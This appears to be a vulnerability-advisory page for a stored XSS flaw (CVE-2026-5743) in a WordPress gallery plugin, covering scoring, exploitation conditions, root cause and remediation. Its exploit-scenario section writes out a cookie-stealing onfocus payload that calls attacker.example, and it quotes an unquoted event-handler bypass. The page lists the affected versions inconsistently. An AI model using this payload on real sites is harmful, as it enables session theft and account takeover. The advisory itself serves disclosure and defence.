Skip to main content

Simply Gallery Block CVE-2026-5743

| EUVDEUVD-2026-43120 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-07-11 Wordfence GHSA-7jhf-qg59-fxm2
6.4
CVSS 3.1 · Vendor: Wordfence
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate as WordPress Author
  2. Delivery
    Create or edit post with Simply Gallery block
  3. Exploit
    Set sliderMaxHeight to unquoted event handler payload
  4. Install
    Bypass pgc_sgb_sanitize_custom_css() regex
  5. C2
    Publish page containing stored XSS
  6. Execute
    Victim loads injected page
  7. Impact
    Malicious script executes in victim browser

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation of the injection phase requires a valid WordPress account with Author-level access or higher - Contributor-level is insufficient, as Contributors cannot publish posts without editorial review and therefore cannot make the injected block publicly accessible. The SimpLy Gallery Block & Lightbox plugin must be installed and activated in a version at or below 3.3.3.2. The attacker must supply the sliderMaxHeight attribute value using unquoted HTML event handler syntax (eventname=payload without surrounding quotes) to bypass the specific regex flaw in pgc_sgb_sanitize_custom_css(). Execution of the stored payload against a victim additionally requires that victim to load a WordPress page containing the injected gallery block - establishing a two-phase attack (store, then trigger). Limiting factors include: the Author-level authentication barrier (PR:L per CVSS), the necessity for victim page-load, and the site's role configuration - many small or single-author WordPress deployments have no non-admin Author accounts, rendering those sites unexploitable in practice.

Impact

The vendor-assigned CVSS 3.1 vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N scores 6.4 (Medium), but the UI:N metric is inconsistent with how stored XSS operates - a victim must load the injected page for the payload to execute, which is conventionally scored UI:R, yielding a more accurate 5.4. The PR:L metric correctly reflects the Author-level authentication barrier, which is a meaningful limiting factor on sites with strict role discipline. No EPSS score, CISA KEV entry, or public proof-of-concept is present in the available intelligence, indicating no confirmed widespread or opportunistic exploitation at time of analysis. Real-world priority depends heavily on the deployment model: WordPress sites granting Author access to multiple untrusted contributors face moderate risk from insider-threat or account-compromise scenarios where a malicious author targets administrators to escalate privileges or harvest session cookies. Sites where only fully-trusted users hold Author roles face minimal practical risk despite the medium score. The scope change (S:C) captures the cross-user browser impact accurately.

Exploit ScenarioDerived

An attacker with Author-level WordPress credentials creates or edits a post containing a Simply Gallery block and sets the sliderMaxHeight attribute to a value such as 1px; onfocus=fetch('https://attacker.example/?c='+document.cookie). The pgc_sgb_sanitize_custom_css() regex passes the value without modification because no quoted attribute delimiter is present, and the payload is stored in the database and rendered on the published page. Any user who subsequently visits that page - including site administrators whose session cookies grant full WordPress access - executes the attacker's script in their browser. No public proof-of-concept is identified at time of analysis, but the attack primitive is directly constructible from the public CVE description.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 11, 2026

Stored XSS in the SimpLy Gallery Block & Lightbox WordPress plugin (all versions through 3.3.3.2) allows authenticated attackers with Author-level access to inject persistent JavaScript via the sliderMaxHeight block attribute. The root cause is a defective regex in pgc_sgb_sanitize_custom_css() that strips quoted event handlers but silently permits unquoted HTML event handler syntax (e.g., onfocus=alert(document.cookie)), enabling a sanitization bypass that survives to page render. No public exploit or CISA KEV listing is identified at time of analysis, though the stored nature means injected payloads persist and execute against any subsequent visitor - including administrators.

RemediationAI

A fix has been committed to the plugin's WordPress SVN trunk as changeset 3581386 (https://plugins.trac.wordpress.org/changeset?reponame=&old=3581386%40simply-gallery-block&new=3581386%40simply-gallery-block); however, the corresponding released plugin version number is not stated in available data - update to the latest version available in the WordPress plugin repository and confirm it is newer than 3.3.3.2. As an immediate workaround, administrators should audit existing posts authored by Author-level accounts for suspicious sliderMaxHeight attribute values containing unquoted event handlers (grep for patterns like onfocus= without a following quote). Restricting the Author role to only fully-trusted users eliminates the attack surface without disabling the plugin. Disabling the Simply Gallery Block plugin entirely is the most effective compensating control while awaiting patch confirmation. WAF rules targeting unquoted event handler injection in POST body parameters provide a partial defense but carry bypass risk and should not be the sole control.

Affected VersionsENISA

SimpLy Gallery 0 ≤3.3.3.1

Affected Packages

euvd simply_gallery no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability resides in blocks/init.php of the Simply Gallery Block & Lightbox WordPress plugin (CPE: cpe:2.3:a:gallerycreator:simply_gallery:*:*:*:*:*:*:*:*), specifically within the pgc_sgb_render_callback() server-side render callback for the Gutenberg gallery block. CWE-79 (Improper Neutralization of Input During Web Page Generation) applies: the sanitization function pgc_sgb_sanitize_custom_css() implements a regex designed to strip HTML event handlers, but the pattern only matches handlers whose value is enclosed in quotes (onfocus="alert()"). Unquoted attribute syntax - valid per HTML5 parsing rules (onfocus=alert(document.cookie)) - is invisible to the regex and passes through unmodified into rendered output. This is a classic partial-sanitization flaw: the developer correctly identified the attack class but produced an incomplete strip pattern. The Gutenberg block editor serializes block attributes and passes them to the PHP render callback, making the sliderMaxHeight attribute the concrete injection vector. Affected code lines are documented in WordPress SVN at blocks/init.php lines 95, 122, 142, and 151.

Know when Simply Gallery gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (Wordfence) PRIMARY 6.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
vuln.today AI 5.4 MEDIUM

Stored XSS payload executes only when a victim loads the injected page, requiring UI:R; all other vendor metrics are consistent with the description.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (Wordfence).

CVSS VectorVendor: Wordfence

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The SimpLy Gallery Block & Lightbox plugin for WordPress is vulnerable to Stored Cross-Site Scripting via block attributes in all versions up to, and including, 3.3.3.2. This is due to insufficient input sanitization and output escaping on the sliderMaxHeight block attribute in the pgc_sgb_render_callback() function. The vulnerability exists because the pgc_sgb_sanitize_custom_css() function uses a flawed regex pattern that only removes event handlers with quoted values (e.g., onfocus="alert()") but fails to catch unquoted event handlers (e.g., onfocus=alert(document.cookie)), allowing the malicious code to bypass sanitization. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages via block attributes that will execute whenever a user accesses an injected page.

Threat Intelligence Overview

EPSS Score
0.2%
Top 85% exploitable
Prevalence
Medium
niche WordPress gallery plugin, not among top-installed plugins
Social Media
1
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy